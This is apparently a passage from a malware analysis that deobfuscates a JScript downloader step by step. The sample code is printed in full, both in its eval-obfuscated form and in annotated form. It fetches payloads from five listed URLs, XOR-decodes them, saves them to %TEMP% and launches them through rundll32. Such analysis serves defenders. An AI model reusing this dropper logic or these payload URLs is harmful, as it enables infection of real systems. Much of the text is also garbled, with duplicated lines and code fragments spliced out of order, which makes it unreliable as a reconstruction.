04;vWTl9[9552]=205;vWTl9[9580]=206;vWTl9[9575]=207;vWTl9[9576]=208;vWTl9[9572]=209;vWTl9[9573]=210;vWTl9[9561]=211;vWTl9[9560]=212;vWTl9[9554]=213;vWTl9[9555]=214;vWTl9[9579]=215;vWTl9[9578]=216;vWTl9[9496]=217;vWTl9[9484]=218;vWTl9[9608]=219;vWTl9[9604]=220;vWTl9[9612]=221;vWTl9[9616]=222;vWTl9[9600]=223;vWTl9[945]=224;vWTl9[223]=225;vWTl9[915]=226;vWTl9[960]=227;vWTl9[931]=228;vWTl9[963]=229;vWTl9[181]=230;vWTl9[964]=231;vWTl9[934]=232;vWTl9[920]=233;vWTl9[937]=234;vWTl9[948]=235;vWTl9[8734]=236;vWTl9[966]=237;vWTl9[949]=238;vWTl9[8745]=239;vWTl9[8801]=240;vWTl9[177]=241;vWTl9[8805]=242;vWTl9[8804]=243;vWTl9[8992]=244;vWTl9[8993]=245;vWTl9[247]=246;vWTl9[8776]=247;vWTl9[176]=248;vWTl9[8729]=249;vWTl9[183]=250;vWTl9[8730]=251;vWTl9[8319]=252;vWTl9[178]=253;vWTl9[9632]=254;vWTl9[160]=255;var vRVh5=new Array();for (var vDp1=0; vDp1 < vPCl4.length; vDp1 += 1){var vKg5=vPCl4[\"charCodeAt\"](vDp1);if (vKg5 < 128){var vKUk3=vKg5;}else {var vKUk3=vWTl9[vKg5];}vRVh5[\"push\"](vKUk3);};return vRVh5;} @*/"));
eval(("function vQv8(vMHn8){var vGp4=new Array();vGp4[168]=191;vGp4[169]=8976;vGp4[170]=172;vGp4[171]=189;vGp4[172]=188;vGp4[173]=161;vGp4[174]=171;vGp4[175]=187;vGp4[176]=9617;vGp4[177]=9618;vGp4[178]=9619;vGp4[179]=9474;vGp4[180]=9508;vGp4[181]=9569;vGp4[182]=9570;vGp4[183]=9558;vGp4[184]=9557;vGp4[185]=9571;vGp4[186]=9553;vGp4[187]=9559;vGp4[188]=9565;vGp4[189]=9564;vGp4[190]=9563;vGp4[191]=9488;vGp4[192]=9492;vGp4[193]=9524;vGp4[194]=9516;vGp4[195]=9500;vGp4[196]=9472;vGp4[197]=9532;vGp4[198]=9566;vGp4[199]=9567;vGp4[200]=9562;vGp4[201]=9556;vGp4[202]=9577;vGp4[203]=9574;vGp4[204]=9568;vGp4[205]=9552;vGp4[206]=9580;vGp4[207]=9575;vGp4[208]=9576;vGp4[209]=9572;vGp4[210]=9573;vGp4[211]=9561;vGp4[212]=9560;vGp4[213]=9554;vGp4[214]=9555;vGp4[215]=9579;vGp4[216]=9578;vGp4[217]=9496;vGp4[218]=9484;vGp4[219]=9608;vGp4[220]=9604;vGp4[221]=9612;vGp4[222]=9616;vGp4[223]=9600;vGp4[224]=945;vGp4[225]=223;vGp4[226]=915;vGp4[227]=960;vGp4[228]=931;vGp4[229]=963;vGp4[230]=181;vGp4[231]=964;vGp4[232]=934;vGp4[233]=920;vGp4[234]=937;vGp4[235]=948;vGp4[236]=8734;vGp4[237]=966;vGp4[238]=949;vGp4[239]=8745;vGp4[240]=8801;vGp4[241]=177;vGp4[242]=8805;vGp4[243]=8804;vGp4[244]=8992;vGp4[245]=8993;vGp4[246]=247;vGp4[247]=8776;vGp4[248]=176;vGp4[249]=8729;vGp4[250]=183;vGp4[251]=8730;vGp4[252]=8319;vGp4[253]=178;vGp4[254]=9632;vGp4[255]=160;vGp4[128]=199;vGp4[129]=252;vGp4[130]=233;vGp4[131]=226;vGp4[132]=228;vGp4[133]=224;vGp4[134]=229;vGp4[135]=231;vGp4[136]=234;vGp4[137]=235;vGp4[138]=232;vGp4[139]=239;vGp4[140]=238;vGp4[141]=236;vGp4[142]=196;vGp4[143]=197;vGp4[144]=201;vGp4[145]=230;vGp4[146]=198;vGp4[147]=244;vGp4[148]=246;vGp4[149]=242;vGp4[150]=251;vGp4[151]=249;vGp4[152]=255;vGp4[153]=214;vGp4[154]=220;vGp4[155]=162;vGp4[156]=163;vGp4[157]=165;vGp4[158]=8359;vGp4[159]=402;vGp4[160]=225;vGp4[161]=237;vGp4[162]=243;vGp4[163]=250;vGp4[164]=241;vGp4[165]=209;vGp4[166]=170;vGp4[167]=186;var vCr0=new Array();var vDPd8=\"\";var vKUk3; var vKg5;for (var vDp1=0; vDp1 < vMHn8.length; vDp1 += 1){vKUk3=vMHn8[vDp1];if (vKUk3 < 128){vKg5=vKUk3;} else {vKg5=vGp4[vKUk3];}vCr0.push(String[\"fromCharCode\"](vKg5));}vDPd8=vCr0[\"join\"](\"\");return vDPd8;}"));
eval(("function vCOe9(vMHn8, vHi9){var vFc8 = vIb7(vHi9);for (var vDp1 = 0; vDp1 < vMHn8.length; vDp1 += 1) {vMHn8[vDp1] ^= vFc8[vDp1 % vFc8.length];};return vMHn8;}"));
eval(("function vBYo5(vAFr7){var vTs6=new ActiveXObject(\"ADODB.Stream\");vTs6.type=2;vTs6[\"Charset\"]=\"437\";vTs6.open();vTs6[\"LoadFromFile\"](vAFr7);var vEj8=vTs6[\"ReadText\"];vTs6.close();return vIb7(vEj8);}"));
eval(("function vQm1(vAFr7, vMHn8){var vTs6=new ActiveXObject(\"ADODB.Stream\");vTs6.type=2;vTs6[\"Charset\"]=\"437\";vTs6.open();vTs6[\"writeText\"](vQv8(vMHn8));vTs6[\"SaveToFile\"](vAFr7, 2);vTs6.close();}"));
eval(("var vYc9 = \"http://\";"));
eval((" var vSFm7 = new Array();"));
eval(("vSFm7.push(vYc9 + \"reliatemp.net/5zuhrikzt\");"));
eval(("vSFm7.push(vYc9 + \"salemwitchcat.com/5yajm7iopz\");"));
eval(("vSFm7.push(vYc9 + \"royaloakripon.co.uk/8eecjblke\");"));
eval(("vSFm7.push(vYc9 + \"shopclaz.com/wnrnnqjf\");"));
eval(("vSFm7.push(vYc9 + \"riviera-ligure.it/w1uoe\");"));
eval(("var vSXd2 = \"PNIqXxFU\";"));
eval(("var vRQb0 = \"zKOV\";"));
eval(("var vUm6 = \"ds6NiIXBPp\";"));
eval((""));
eval(("var vNa6 = new ActiveXObject(\"Scripting.FileSystemObject\");"));
eval(("var vPh0=2;"));
eval(("var vDGp4=new ActiveXObject(\"WScript.Shell\");"));
eval(("var vTVz6=vDGp4['ExpandEnvironmentStrings']('%TEMP%/');"));
eval(("var vDPv7=vTVz6 + vSXd2;"));
eval(("var vKw3=vDPv7 + \".z\" + \"k\";"));
eval(("var vQEi8 = new ActiveXObject(\"MSXML2.XMLHTTP\");"));
eval(("function vFFe9(){var vKs6 = vNa6.GetFile(vKw3);return vKs6.ShortPath;}"));
eval(("var vLk5 = 0;"));
eval(("/*@cc_on for (var vXCg9 = 0; vXCg9 < vSFm7.length; vXCg9 = vXCg9 + 1){try{var vQr2=new ActiveXObject(\"ADODB.Stream\");vQEi8.open(\"GET\", vSFm7[vXCg9], false);vQEi8.setRequestHeader(\"User-Agent\",\"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\");vQEi8[\"send\"]();vQr2.open();vQr2.type=1;var vPZf1 = new Date();vPZf1.setFullYear(\"2001\");vQr2.write(vQEi8.ResponseBody);vQr2.position=0;if (vPZf1.getFullYear().toString(10) == \"2001\") vQr2[\"SaveToFile\"](vDPv7, vPh0);vQr2.close();var vRVh5 = vBYo5(vDPv7);vRVh5 = vCOe9(vRVh5, vUm6);if (vRVh5[0] != 77 || vRVh5[1] != 90) continue;vQm1(vKw3, vRVh5);var vQLo3 = vFFe9();if (vPZf1[\"getFullYear\"]().toString(10) == \"2001\") vDGp4[\"Run\"](\"rundll32\" + \" \" + vQLo3 + \",\" + vRQb0);break;}catch (e) {continue;};} @*/"));
Now we have to remove all the useless parts to make the real script appears :
- eval((" => removed
- ")); => removed
- \" replaced by " (delete the \ used as formatting)
- @*/ => removed
The entry Point (where the script begins its real job) :
var vYc9 = "http://";
var vSFm7 = new Array();
=> an empty array is created
vSFm7.push(vYc9 + "reliatemp.net/5zuhrikzt");
vSFm7.push(vYc9 + "salemwitchcat.com/5yajm7iopz");
vSFm7.push(vYc9 + "royaloakripon.co.uk/8eecjblke");
vSFm7.push(vYc9 + "shopclaz.com/wnrnnqjf");
vSFm7.push(vYc9 + "riviera-ligure.it/w1uoe");
=> 5 URLs are built and pushed on the array
=> Array of URLs : (
[0] "http ://reliatemp.net/5zuhrikzt"
[1] "http ://salemwitchcat.com/5yajm7iopz"
[2] "http ://royaloakripon.co.uk/8eecjblke"
[3] "http ://shopclaz.com/wnrnnqjf"
[4] "http ://riviera-ligure.it/w1uoe"
)[1] "http ://salemwitchcat.com/5yajm7iopz"
[2] "http ://royaloakripon.co.uk/8eecjblke"
[3] "http ://shopclaz.com/wnrnnqjf"
[4] "http ://riviera-ligure.it/w1uoe"
var vSXd2 = "PNIqXxFU";
=> The temporary name for the payload
var vRQb0 = "zKOV";
=> The Entry-Point of the dll, that will be used rundll32 part
var vUm6 = "ds6NiIXBPp";Rundll performs the following steps:
- It parses the command line.
- It loads the specified DLL via LoadLibrary().
- It obtains the address of the <entrypoint> function via GetProcAddress().
- It calls the <entrypoint> function, passing the command line tail which is the <optional arguments>.
=> A Key for the XOR deobfuscation of the content data
var vNa6 = new ActiveXObject("Scripting.FileSystemObject");
=> object to manipulate the files / folders
var vPh0 = 2;
=> will be used as parameter for the file creation : write / overwrite
var vDGp4 = new ActiveXObject("WScript.Shell");
=> object Shell to be used to run the payload
var vTVz6 = vDGp4['ExpandEnvironmentStrings']('%TEMP%/');
=> uses the Shell object to retrieve the %TEMP% path
=> Example : C:\Users\DardiM\AppData\Local\Temp/
var vDPv7 = vTVz6 + vSXd2;=> build the temporary path+name
var vKw3 = vDPv7 + ".z" + "k";=> Example : C:\Users\DardiM\AppData\Local\Temp/PNIqXxFU
=> builds the definitive path+name+extension (used only if the payload is valid)
var vQEi8 = new ActiveXObject("MSXML2.XMLHTTP");
=> creates the http object, for the request
var vLk5 = 0;
for (var vXCg9 = 0; vXCg9 < vSFm7.length; vXCg9 = vXCg9 + 1) {
=> vXCg9 : index for the loop for ! Will be use to retrieve the current URL from the tab of URLs
try {
}var vQr2 = new ActiveXObject("ADODB.Stream");
=> compares the year of the date object with "2001" : always right, because it was set to 2001 in a part above
} catch (e) {=> creates an ADO stream, to manipulate the data that will be received by the request
vQEi8.open("GET", vSFm7[vXCg9], false);
=> opens a http request from URL vSFm7[index]
=> Example : vSFm7[0] : http ://reliatemp.net/5zuhrikzt
vQEi8.setRequestHeader("User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)");=> Example : vSFm7[0] : http ://reliatemp.net/5zuhrikzt
=> sets the request header
vQEi8["send"]();
=> sends the http request
vQr2.open();
=> opens the stream
vQr2.type = 1;
=> set the type of the stream to 1 : binary data
var vPZf1 = new Date();
=> Creates a new Date
vPZf1.setFullYear("2001");
=> set the year 2001 to the new date
vQr2.write(vQEi8.ResponseBody);
=> writes to the stream the data received by the http request
vQr2.position = 0;
=> set the position of the data : 0
if (vPZf1.getFullYear().toString(10) == "2001")
=> compares the year of the date object with "2001" : always right, because it was set to 2001 in a part above
vQr2["SaveToFile"](vDPv7, vPh0);
vQr2.close();=> stream.SaveToFile(Path, 2) : creates or / overwrites the file
=> saves the data received to %TEMP%/PNIqXxFU"
=> Example : C:\Users\DardiM\AppData\Local\Temp\PNIqXxFU
=> The obfuscated temp payload is saved !
=> saves the data received to %TEMP%/PNIqXxFU"
=> Example : C:\Users\DardiM\AppData\Local\Temp\PNIqXxFU
=> The obfuscated temp payload is saved !
=> closes the stream
var vRVh5 = vBYo5(vDPv7);
=> vRVh5 : array of char codes (file content) after first substitution cipher :
vRVh5 = vCOe9(vRVh5, vUm6);
I put here the details of the function vBYo5:
function vBYo5(vAFr7) {
var vTs6 = new ActiveXObject("ADODB.Stream");
};=> a stream object is created to put the data
vTs6.type = 2;
=> 2 : data will be considered as text
vTs6["Charset"] = "437";
=> The page code to be used
vTs6.open();
=> open the stream
vTs6["LoadFromFile"](vAFr7); vAFr7 : Path
=> Load to the stream the data from the file
var vEj8 = vTs6["ReadText"];
=> the data from the stream is return in vEj8 as a string
vTs6.close();
=> close the stream
return vIb7(vEj8);
=> vIb7(vEj8) : calls the first decipher function
=> parameter : the file content as a string
=> returns the data as an array of char codes
=> second step of deobfuscation :
if (vRVh5[0] != 77 || vRVh5[1] != 90) continue;=> vRVh5 : new array of char codes (content file) after XOR part
=> vUm6 : key "ds6NiIXBPp" : used for the XOR part
I put here the details of the function vCOe9 :
=> vUm6 : key "ds6NiIXBPp" : used for the XOR part
I put here the details of the function vCOe9 :
function vCOe9(vMHn8, vHi9) {
var vFc8 = vIb7(vHi9);
return vMHn8;
};=> key : String to array of char code using the first substitution cipher
for (var vDp1 = 0; vDp1 < vMHn8.length; vDp1 += 1) {=> 0 substitutions because no char codes from the key chars are above 127
"ds6NiIXBPp" :
"ds6NiIXBPp" :
=> 100 115 54 78 105 73 88 66 80 112 (key char codes)
vMHn8[vDp1] ^= vFc8[vDp1 % vFc8.length];
};
=> XOR : second deobuscation of data (file content)
Example :
Example :
first char code XOR 100
second char code XOR 115
...
tenth char code XOR 112
eleventh char code XOR 100
etc...
second char code XOR 115
...
tenth char code XOR 112
eleventh char code XOR 100
=> for the key part, it returns to the first char code
twelfth char code XOR 115etc...
return vMHn8;
=> returns the new file content
=> vRVh5 : file content as an array of char code
=> test if the two first chars are : MZ => identification of an exe or a dll
vQm1(vKw3, vRVh5);=> test if the two first chars are : MZ => identification of an exe or a dll
=> here : good header : MZ
=> 3rd deobfuscation step
var vQLo3 = vFFe9();=> 3rd deobfuscation step
=> calls the 2nd substitution cipher function and save the file completely deobfuscated
=> Example : C:\Users\DardiM\AppData\Local\Temp\PNIqXxFU.zk
=> Example : C:\Users\DardiM\AppData\Local\Temp\PNIqXxFU.zk
=> retrieves the short name of the file
=> In this sample it changed nothing
I put here the details of the function vFFe9 :
if (vPZf1["getFullYear"]().toString(10) == "2001")=> In this sample it changed nothing
I put here the details of the function vFFe9 :
function vFFe9() {
var vKs6 = vNa6.GetFile(vKw3);
=> returns its ShortPath : the short path used by programs that requires the earlier 8.3 file naming convention
=> here the file is already 8 chars max long and have a 2 chars extension : no changes
};=> opens the payload : vKw3 is the real path+real name
return vKs6.ShortPath;
=> returns its ShortPath : the short path used by programs that requires the earlier 8.3 file naming convention
=> here the file is already 8 chars max long and have a 2 chars extension : no changes
=> Always true (already explained)
vDGp4["Run"]("rundll32" + " " + vQLo3 + "," + vRQb0);
rundll32 C:\Users\DardiM\AppData\Local\Temp\PNIqXxFU.zk,zKOV
break;vDGp4["Run"]("rundll32" + " " + vQLo3 + "," + vRQb0);
=> Shell.run(rundll32 shortname,zKOV)
here, Entry-Point : zKOV
Example :here, Entry-Point : zKOV
rundll32 C:\Users\DardiM\AppData\Local\Temp\PNIqXxFU.zk,zKOV
continue;
};------------------------------------------------------------------------------------
Below : All the functions used for the decipher / deobfuscation
-------------------------------------------------------------------------------------
// first substitution cipherBelow : All the functions used for the decipher / deobfuscation
-------------------------------------------------------------------------------------
function vIb7(vPCl4) {
var vWTl9 = new Array();
vWTl9[199] = 128;
vWTl9[252] = 129;
vWTl9[233] = 130;
vWTl9[178] = 253;
vWTl9[9632] = 254;
vWTl9[160] = 255;
return vRVh5;
};vWTl9[199] = 128;
vWTl9[252] = 129;
vWTl9[233] = 130;
vWTl9[226] = 131;
vWTl9[228] = 132;
vWTl9[224] = 133;
vWTl9[229] = 134;
vWTl9[231] = 135;
vWTl9[234] = 136;
vWTl9[235] = 137;
vWTl9[232] = 138;
vWTl9[239] = 139;
vWTl9[238] = 140;
vWTl9[236] = 141;
vWTl9[196] = 142;
vWTl9[197] = 143;
vWTl9[201] = 144;
vWTl9[230] = 145;
vWTl9[198] = 146;
vWTl9[244] = 147;
vWTl9[246] = 148;
vWTl9[242] = 149;
vWTl9[251] = 150;
vWTl9[249] = 151;
vWTl9[255] = 152;
vWTl9[214] = 153;
vWTl9[220] = 154;
vWTl9[162] = 155;
vWTl9[163] = 156;
vWTl9[165] = 157;
vWTl9[8359] = 158;
vWTl9[402] = 159;
vWTl9[225] = 160;
vWTl9[237] = 161;
vWTl9[243] = 162;
vWTl9[250] = 163;
vWTl9[241] = 164;
vWTl9[209] = 165;
vWTl9[170] = 166;
vWTl9[186] = 167;
vWTl9[191] = 168;
vWTl9[8976] = 169;
vWTl9[172] = 170;
vWTl9[189] = 171;
vWTl9[188] = 172;
vWTl9[161] = 173;
vWTl9[171] = 174;
vWTl9[187] = 175;
vWTl9[9617] = 176;
vWTl9[9618] = 177;
vWTl9[9619] = 178;
vWTl9[9474] = 179;
vWTl9[9508] = 180;
vWTl9[9569] = 181;
vWTl9[9570] = 182;
vWTl9[9558] = 183;
vWTl9[9557] = 184;
vWTl9[9571] = 185;
vWTl9[9553] = 186;
vWTl9[9559] = 187;
vWTl9[9565] = 188;
vWTl9[9564] = 189;
vWTl9[9563] = 190;
vWTl9[9488] = 191;
vWTl9[9492] = 192;
vWTl9[9524] = 193;
vWTl9[9516] = 194;
vWTl9[9500] = 195;
vWTl9[9472] = 196;
vWTl9[9532] = 197;
vWTl9[9566] = 198;
vWTl9[9567] = 199;
vWTl9[9562] = 200;
vWTl9[9556] = 201;
vWTl9[9577] = 202;
vWTl9[9574] = 203;
vWTl9[9568] = 204;
vWTl9[9552] = 205;
vWTl9[9580] = 206;
vWTl9[9575] = 207;
vWTl9[9576] = 208;
vWTl9[9572] = 209;
vWTl9[9573] = 210;
vWTl9[9561] = 211;
vWTl9[9560] = 212;
vWTl9[9554] = 213;
vWTl9[9555] = 214;
vWTl9[9579] = 215;
vWTl9[9578] = 216;
vWTl9[9496] = 217;
vWTl9[9484] = 218;
vWTl9[9608] = 219;
vWTl9[9604] = 220;
vWTl9[9612] = 221;
vWTl9[9616] = 222;
vWTl9[9600] = 223;
vWTl9[945] = 224;
vWTl9[223] = 225;
vWTl9[915] = 226;
vWTl9[960] = 227;
vWTl9[931] = 228;
vWTl9[963] = 229;
vWTl9[181] = 230;
vWTl9[964] = 231;
vWTl9[934] = 232;
vWTl9[920] = 233;
vWTl9[937] = 234;
vWTl9[948] = 235;
vWTl9[8734] = 236;
vWTl9[966] = 237;
vWTl9[949] = 238;
vWTl9[8745] = 239;
vWTl9[8801] = 240;
vWTl9[177] = 241;
vWTl9[8805] = 242;
vWTl9[8804] = 243;
vWTl9[8992] = 244;
vWTl9[8993] = 245;
vWTl9[247] = 246;
vWTl9[8776] = 247;
vWTl9[176] = 248;
vWTl9[8729] = 249;
vWTl9[183] = 250;
vWTl9[8730] = 251;
vWTl9[8319] = 252;
vWTl9[228] = 132;
vWTl9[224] = 133;
vWTl9[229] = 134;
vWTl9[231] = 135;
vWTl9[234] = 136;
vWTl9[235] = 137;
vWTl9[232] = 138;
vWTl9[239] = 139;
vWTl9[238] = 140;
vWTl9[236] = 141;
vWTl9[196] = 142;
vWTl9[197] = 143;
vWTl9[201] = 144;
vWTl9[230] = 145;
vWTl9[198] = 146;
vWTl9[244] = 147;
vWTl9[246] = 148;
vWTl9[242] = 149;
vWTl9[251] = 150;
vWTl9[249] = 151;
vWTl9[255] = 152;
vWTl9[214] = 153;
vWTl9[220] = 154;
vWTl9[162] = 155;
vWTl9[163] = 156;
vWTl9[165] = 157;
vWTl9[8359] = 158;
vWTl9[402] = 159;
vWTl9[225] = 160;
vWTl9[237] = 161;
vWTl9[243] = 162;
vWTl9[250] = 163;
vWTl9[241] = 164;
vWTl9[209] = 165;
vWTl9[170] = 166;
vWTl9[186] = 167;
vWTl9[191] = 168;
vWTl9[8976] = 169;
vWTl9[172] = 170;
vWTl9[189] = 171;
vWTl9[188] = 172;
vWTl9[161] = 173;
vWTl9[171] = 174;
vWTl9[187] = 175;
vWTl9[9617] = 176;
vWTl9[9618] = 177;
vWTl9[9619] = 178;
vWTl9[9474] = 179;
vWTl9[9508] = 180;
vWTl9[9569] = 181;
vWTl9[9570] = 182;
vWTl9[9558] = 183;
vWTl9[9557] = 184;
vWTl9[9571] = 185;
vWTl9[9553] = 186;
vWTl9[9559] = 187;
vWTl9[9565] = 188;
vWTl9[9564] = 189;
vWTl9[9563] = 190;
vWTl9[9488] = 191;
vWTl9[9492] = 192;
vWTl9[9524] = 193;
vWTl9[9516] = 194;
vWTl9[9500] = 195;
vWTl9[9472] = 196;
vWTl9[9532] = 197;
vWTl9[9566] = 198;
vWTl9[9567] = 199;
vWTl9[9562] = 200;
vWTl9[9556] = 201;
vWTl9[9577] = 202;
vWTl9[9574] = 203;
vWTl9[9568] = 204;
vWTl9[9552] = 205;
vWTl9[9580] = 206;
vWTl9[9575] = 207;
vWTl9[9576] = 208;
vWTl9[9572] = 209;
vWTl9[9573] = 210;
vWTl9[9561] = 211;
vWTl9[9560] = 212;
vWTl9[9554] = 213;
vWTl9[9555] = 214;
vWTl9[9579] = 215;
vWTl9[9578] = 216;
vWTl9[9496] = 217;
vWTl9[9484] = 218;
vWTl9[9608] = 219;
vWTl9[9604] = 220;
vWTl9[9612] = 221;
vWTl9[9616] = 222;
vWTl9[9600] = 223;
vWTl9[945] = 224;
vWTl9[223] = 225;
vWTl9[915] = 226;
vWTl9[960] = 227;
vWTl9[931] = 228;
vWTl9[963] = 229;
vWTl9[181] = 230;
vWTl9[964] = 231;
vWTl9[934] = 232;
vWTl9[920] = 233;
vWTl9[937] = 234;
vWTl9[948] = 235;
vWTl9[8734] = 236;
vWTl9[966] = 237;
vWTl9[949] = 238;
vWTl9[8745] = 239;
vWTl9[8801] = 240;
vWTl9[177] = 241;
vWTl9[8805] = 242;
vWTl9[8804] = 243;
vWTl9[8992] = 244;
vWTl9[8993] = 245;
vWTl9[247] = 246;
vWTl9[8776] = 247;
vWTl9[176] = 248;
vWTl9[8729] = 249;
vWTl9[183] = 250;
vWTl9[8730] = 251;
vWTl9[8319] = 252;
vWTl9[9632] = 254;
vWTl9[160] = 255;
=> vWTl9 : array for char codes replacement
var vRVh5 = new Array();
=> creates a new array : it will contains the data after first substitution cipher
for (var vDp1 = 0; vDp1 < vPCl4.length; vDp1 += 1) {
=> Loop for : all char will be analyzed
if (vKg5 < 128) {
vRVh5["push"](vKUk3);
};
var vKg5 = vPCl4["charCodeAt"](vDp1);if (vKg5 < 128) {
var vKUk3 = vKg5;
=> no changes for char codes > 127
} else {=> no changes for char codes > 127
var vKUk3 = vWTl9[vKg5];
}=> Uses the Array of char codes substitution to change all the char codes >127
vRVh5["push"](vKUk3);
return vRVh5;
=> returns the new array with the char codes (new file content)
// Second substitution cipher
function vQv8(vMHn8) {
var vGp4 = new Array();
vGp4[168] = 191;
vGp4[169] = 8976;
vGp4[170] = 172;
vGp4[165] = 209;
vGp4[166] = 170;
vGp4[167] = 186;
var vKUk3;
var vKg5;
for (var vDp1 = 0; vDp1 < vMHn8.length; vDp1 += 1) {
vDPd8=vCr0["join "]("");
return vDPd8;
};vGp4[168] = 191;
vGp4[169] = 8976;
vGp4[170] = 172;
vGp4[171] = 189;
vGp4[172] = 188;
vGp4[173] = 161;
vGp4[174] = 171;
vGp4[175] = 187;
vGp4[176] = 9617;
vGp4[177] = 9618;
vGp4[178] = 9619;
vGp4[179] = 9474;
vGp4[180] = 9508;
vGp4[181] = 9569;
vGp4[182] = 9570;
vGp4[183] = 9558;
vGp4[184] = 9557;
vGp4[185] = 9571;
vGp4[186] = 9553;
vGp4[187] = 9559;
vGp4[188] = 9565;
vGp4[189] = 9564;
vGp4[190] = 9563;
vGp4[191] = 9488;
vGp4[192] = 9492;
vGp4[193] = 9524;
vGp4[194] = 9516;
vGp4[195] = 9500;
vGp4[196] = 9472;
vGp4[197] = 9532;
vGp4[198] = 9566;
vGp4[199] = 9567;
vGp4[200] = 9562;
vGp4[201] = 9556;
vGp4[202] = 9577;
vGp4[203] = 9574;
vGp4[204] = 9568;
vGp4[205] = 9552;
vGp4[206] = 9580;
vGp4[207] = 9575;
vGp4[208] = 9576;
vGp4[209] = 9572;
vGp4[210] = 9573;
vGp4[211] = 9561;
vGp4[212] = 9560;
vGp4[213] = 9554;
vGp4[214] = 9555;
vGp4[215] = 9579;
vGp4[216] = 9578;
vGp4[217] = 9496;
vGp4[218] = 9484;
vGp4[219] = 9608;
vGp4[220] = 9604;
vGp4[221] = 9612;
vGp4[222] = 9616;
vGp4[223] = 9600;
vGp4[224] = 945;
vGp4[225] = 223;
vGp4[226] = 915;
vGp4[227] = 960;
vGp4[228] = 931;
vGp4[229] = 963;
vGp4[230] = 181;
vGp4[231] = 964;
vGp4[232] = 934;
vGp4[233] = 920;
vGp4[234] = 937;
vGp4[235] = 948;
vGp4[236] = 8734;
vGp4[237] = 966;
vGp4[238] = 949;
vGp4[239] = 8745;
vGp4[240] = 8801;
vGp4[241] = 177;
vGp4[242] = 8805;
vGp4[243] = 8804;
vGp4[244] = 8992;
vGp4[245] = 8993;
vGp4[246] = 247;
vGp4[247] = 8776;
vGp4[248] = 176;
vGp4[249] = 8729;
vGp4[250] = 183;
vGp4[251] = 8730;
vGp4[252] = 8319;
vGp4[253] = 178;
vGp4[254] = 9632;
vGp4[255] = 160;
vGp4[128] = 199;
vGp4[129] = 252;
vGp4[130] = 233;
vGp4[131] = 226;
vGp4[132] = 228;
vGp4[133] = 224;
vGp4[134] = 229;
vGp4[135] = 231;
vGp4[136] = 234;
vGp4[137] = 235;
vGp4[138] = 232;
vGp4[139] = 239;
vGp4[140] = 238;
vGp4[141] = 236;
vGp4[142] = 196;
vGp4[143] = 197;
vGp4[144] = 201;
vGp4[145] = 230;
vGp4[146] = 198;
vGp4[147] = 244;
vGp4[148] = 246;
vGp4[149] = 242;
vGp4[150] = 251;
vGp4[151] = 249;
vGp4[152] = 255;
vGp4[153] = 214;
vGp4[154] = 220;
vGp4[155] = 162;
vGp4[156] = 163;
vGp4[157] = 165;
vGp4[158] = 8359;
vGp4[159] = 402;
vGp4[160] = 225;
vGp4[161] = 237;
vGp4[162] = 243;
vGp4[163] = 250;
vGp4[164] = 241;
vGp4[172] = 188;
vGp4[173] = 161;
vGp4[174] = 171;
vGp4[175] = 187;
vGp4[176] = 9617;
vGp4[177] = 9618;
vGp4[178] = 9619;
vGp4[179] = 9474;
vGp4[180] = 9508;
vGp4[181] = 9569;
vGp4[182] = 9570;
vGp4[183] = 9558;
vGp4[184] = 9557;
vGp4[185] = 9571;
vGp4[186] = 9553;
vGp4[187] = 9559;
vGp4[188] = 9565;
vGp4[189] = 9564;
vGp4[190] = 9563;
vGp4[191] = 9488;
vGp4[192] = 9492;
vGp4[193] = 9524;
vGp4[194] = 9516;
vGp4[195] = 9500;
vGp4[196] = 9472;
vGp4[197] = 9532;
vGp4[198] = 9566;
vGp4[199] = 9567;
vGp4[200] = 9562;
vGp4[201] = 9556;
vGp4[202] = 9577;
vGp4[203] = 9574;
vGp4[204] = 9568;
vGp4[205] = 9552;
vGp4[206] = 9580;
vGp4[207] = 9575;
vGp4[208] = 9576;
vGp4[209] = 9572;
vGp4[210] = 9573;
vGp4[211] = 9561;
vGp4[212] = 9560;
vGp4[213] = 9554;
vGp4[214] = 9555;
vGp4[215] = 9579;
vGp4[216] = 9578;
vGp4[217] = 9496;
vGp4[218] = 9484;
vGp4[219] = 9608;
vGp4[220] = 9604;
vGp4[221] = 9612;
vGp4[222] = 9616;
vGp4[223] = 9600;
vGp4[224] = 945;
vGp4[225] = 223;
vGp4[226] = 915;
vGp4[227] = 960;
vGp4[228] = 931;
vGp4[229] = 963;
vGp4[230] = 181;
vGp4[231] = 964;
vGp4[232] = 934;
vGp4[233] = 920;
vGp4[234] = 937;
vGp4[235] = 948;
vGp4[236] = 8734;
vGp4[237] = 966;
vGp4[238] = 949;
vGp4[239] = 8745;
vGp4[240] = 8801;
vGp4[241] = 177;
vGp4[242] = 8805;
vGp4[243] = 8804;
vGp4[244] = 8992;
vGp4[245] = 8993;
vGp4[246] = 247;
vGp4[247] = 8776;
vGp4[248] = 176;
vGp4[249] = 8729;
vGp4[250] = 183;
vGp4[251] = 8730;
vGp4[252] = 8319;
vGp4[253] = 178;
vGp4[254] = 9632;
vGp4[255] = 160;
vGp4[128] = 199;
vGp4[129] = 252;
vGp4[130] = 233;
vGp4[131] = 226;
vGp4[132] = 228;
vGp4[133] = 224;
vGp4[134] = 229;
vGp4[135] = 231;
vGp4[136] = 234;
vGp4[137] = 235;
vGp4[138] = 232;
vGp4[139] = 239;
vGp4[140] = 238;
vGp4[141] = 236;
vGp4[142] = 196;
vGp4[143] = 197;
vGp4[144] = 201;
vGp4[145] = 230;
vGp4[146] = 198;
vGp4[147] = 244;
vGp4[148] = 246;
vGp4[149] = 242;
vGp4[150] = 251;
vGp4[151] = 249;
vGp4[152] = 255;
vGp4[153] = 214;
vGp4[154] = 220;
vGp4[155] = 162;
vGp4[156] = 163;
vGp4[157] = 165;
vGp4[158] = 8359;
vGp4[159] = 402;
vGp4[160] = 225;
vGp4[161] = 237;
vGp4[162] = 243;
vGp4[163] = 250;
vGp4[164] = 241;
vGp4[166] = 170;
vGp4[167] = 186;
=> vGp4: array for char codes replacement
var vCr0 = new Array();
=> creates a new array : it will contains the decipher value of vMHn8 (parameter)
var vDPd8 = "";
var vKUk3;
var vKg5;
for (var vDp1 = 0; vDp1 < vMHn8.length; vDp1 += 1) {
vKUk3 = vMHn8[vDp1];
if (vKUk3 < 128) {
vCr0.push(String[fromCharCode "](vKg5));
}if (vKUk3 < 128) {
vKg5 = vKUk3;
} else {=> No changes made
vKg5 = vGp4[vKUk3];
}=> Use the Array of char code to change all char code > 127
vCr0.push(String[fromCharCode "](vKg5));
=> add to the array the (new) char
vDPd8=vCr0["join "]("");
return vDPd8;
=> returns the new file content as a string
// XOR partfunction vCOe9(vMHn8, vHi9) {
